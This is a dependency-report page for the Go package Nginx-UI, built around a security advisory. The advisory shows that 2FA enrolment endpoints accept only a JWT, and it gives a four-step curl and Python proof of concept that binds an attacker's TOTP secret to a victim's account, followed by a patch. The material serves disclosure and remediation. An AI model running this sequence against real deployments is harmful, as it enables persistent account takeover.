go package report

Is Nginx-UI safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so go packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 36th percentile of all CVEs

      xyz score
      0.0
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-gfrc-g87h-7h5w, the advisory selected below

      // 2 advisories

      GHSA-gfrc-g87h-7h5w

      HIGHCVE-2026-84313
      // summary

      Endpoints that bind a TOTP secret (POST /api/otpenroll) or register a WebAuthn passkey (POST /api/finishpasskeyregister) for the current user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered outside the RequireSecureSession() group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.

      // details

      api/user/router.go:34-39 — note the routes registered before the secure-session group:

      r.GET("/otp_secret", GenerateTOTP)
      r.POST("/otp_enroll", EnrollTOTP)                     // ← outside RequireSecureSession
      r.GET("/begin_passkey_register", BeginPasskeyRegistration)
      r.POST("/finish_passkey_register", FinishPasskeyRegistration)  // ← outside RequireSecureSession
      
      o := r.Group("", middleware.RequireSecureSession())
      {
          o.GET("/otp_reset", ResetOTP)                     // reset *is* protected — inconsistent
          ...
      }

      EnrollTOTP (api/user/otp.go:45-102) only refuses if cUser.EnabledOTP() is already true; for any victim who has never enabled TOTP it accepts an attacker-supplied Secret and Passcode pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):

      if cUser.EnabledOTP() { ... abort ... }
      var twoFA struct {
          Secret   string `json:"secret"   binding:"required"`
          Passcode string `json:"passcode" binding:"required"`
      }
      if !cosy.BindAndValid(c, &twoFA) { return }
      if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
      ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
      u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)

      FinishPasskeyRegistration (api/user/passkey.go) is structurally identical and additionally has no "already enrolled" guard — an attacker can register multiple passkeys to the victim.

      // proof of concept
      JWT=""
      
      # Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
      $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
      {"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
       "url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
      
      # Step 2 — compute current 30-s TOTP code (attacker-side):
      $ python3 -c "import base64,hmac,hashlib,struct,time
      key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
      ctr=int(time.time())//30
      h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
      o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
      print(f'{v:06d}')"
      954084
      
      # Step 3 — bind that secret to the victim's account:
      $ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
             -d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
             http://127.0.0.1:18080/api/otp_enroll
      
      HTTP/1.1 200 OK
      {"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
       "last_viewed":1778338236}
      
      # Step 4 — confirm 2FA is now enabled on the victim's account:
      $ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
      {"enabled":true,"otp_status":true,"passkey_status":false,
       "recovery_codes_generated":true,"recovery_codes_viewed":true}

      Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the attacker's authenticator.

      The passkey variant follows the same pattern: GET /api/beginpasskeyregister then POST /api/finishpasskeyregister with the attacker's WebAuthn authenticator. The route is also outside RequireSecureSession.

      // impact
      • Persistent account takeover surviving the victim's password reset.
      • Combines trivially with any of: stolen JWT, the RequireSecureSession bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.
      // patches

      api/user/router.go — move enrolment routes inside the secure-session group:

      -    r.POST("/otp_enroll", EnrollTOTP)
      -    r.GET("/begin_passkey_register", BeginPasskeyRegistration)
      -    r.POST("/finish_passkey_register", FinishPasskeyRegistration)
      -
           o := r.Group("", middleware.RequireSecureSession())
           {
      +        o.POST("/otp_enroll", EnrollTOTP)
      +        o.GET("/begin_passkey_register", BeginPasskeyRegistration)
      +        o.POST("/finish_passkey_register", FinishPasskeyRegistration)
               o.GET("/otp_reset", ResetOTP)
               ...
           }

      This patch alone is not sufficient — the RequireSecureSession middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring UpdateCurrentUserPassword at api/user/currentuser.go).

      // workarounds

      None reliable. Operators should monitor the users table for unexpected OTPSecret values and the passkeys table for unexpected rows.

      // credits

      Vishal Shukla (@shukla304) and Sechub.dev AI Agent.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      Low
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      High
      Integrity
      High
      Availability
      High

      Checked 2026-10-16 at 19:49 UTC. The most recent advisory here was published 2026-10-15. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.